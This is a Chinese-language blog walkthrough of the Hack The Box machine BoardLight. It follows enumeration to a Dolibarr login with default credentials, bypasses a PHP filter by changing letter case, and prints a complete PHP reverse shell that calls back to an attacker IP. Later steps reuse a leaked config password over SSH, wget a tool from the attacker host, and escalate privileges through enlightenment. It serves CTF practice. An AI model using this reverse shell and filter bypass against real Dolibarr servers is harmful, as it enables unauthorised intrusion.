htb_BoardLight

在这里插入图片描述

信息收集

nmap -sSVC 10.10.11.11

在这里插入图片描述

开放80端口,将boardlight.htb写入/etc/hosts

同步进行子域名和目录扫描

子域名扫不到

在这里插入图片描述

这个目录扫描很奇怪哈,明明访问80端口有页面,就是扫不出来

在这里插入图片描述

直接浏览器访问80端口,四处看看,发现一个contact.php页面

尝试注入,但是抓包发现它居然没传参过去,不知道是我的电脑抽风了还是怎么样了,反正就是不了了之

在这里插入图片描述

网站功能上找不到漏洞点,尝试查看页面源代码

查看index.php页面代码

搜索htb关键词,发现一个board.htb域名,添加入/etc/hosts

在这里插入图片描述

使用新得到的域名再进行子域名扫描,发现域名crm.board.htb

在这里插入图片描述

添加入/etc/hosts后访问,页面显示Dolibarr的登录框

在这里插入图片描述

搜索后发现dolibarr有默认密码,尝试登录

在这里插入图片描述

模板漏洞利用

四处看看,找到一个熟悉的可以写入template的地方

按照页面提示新建website和page

在这里插入图片描述

创建成功后发现页面有一个Edit HTML Source按钮

在这里插入图片描述

点进去发现可以写入php代码

尝试写入

<?php echo "hhhh";?>

提示什么权限不足???不太记得(忘记截屏了)

换一个代码写入

<?php echo system("id");?>

这次提示不允许添加php动态代码

在这里插入图片描述

尝试绕过

最简单的大小写就行了

在这里插入图片描述

保存后返回

记得开启show dynamic content 选项,不然看不见代码执行内容

代码成功执行

在这里插入图片描述

尝试写入php反弹shell命令

在这里插入图片描述

记得把php弄成大小写的

<?phP


set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.28';
$port = 1234;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>

攻击机开启监听

接收到反弹shell

在这里插入图片描述

翻翻找找

/var/www/html/crm.board.htb/htdoce/conf目录下发现配置文件

在这里插入图片描述

发现dolibarr用户数据库密码

dolibarr 
dolibarrowner

serverfun2$2023!!

在这里插入图片描述

尝试登入数据库失败,于是查看/etc/passwd,发现根本没有dolibarr或者dolibarrowner用户

在这里插入图片描述

回到/home目录下查看,发现只有一个用户larissa

目标机器开放了22端口,尝试用配置文件里的密码ssh登陆larissa

虽然很莫名其妙,但是登进来了

在这里插入图片描述

提权

larissa无权限进行sudo -l

上传linpeas.sh

wget http://10.10.14.28:8888/linpeas.sh

在这里插入图片描述

发现有enlightenment服务

在这里插入图片描述

搜索后发现该服务存在提权漏洞

在这里插入图片描述

下载payload后上传靶机

在这里插入图片描述

直接利用
在这里插入图片描述

  • 5
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值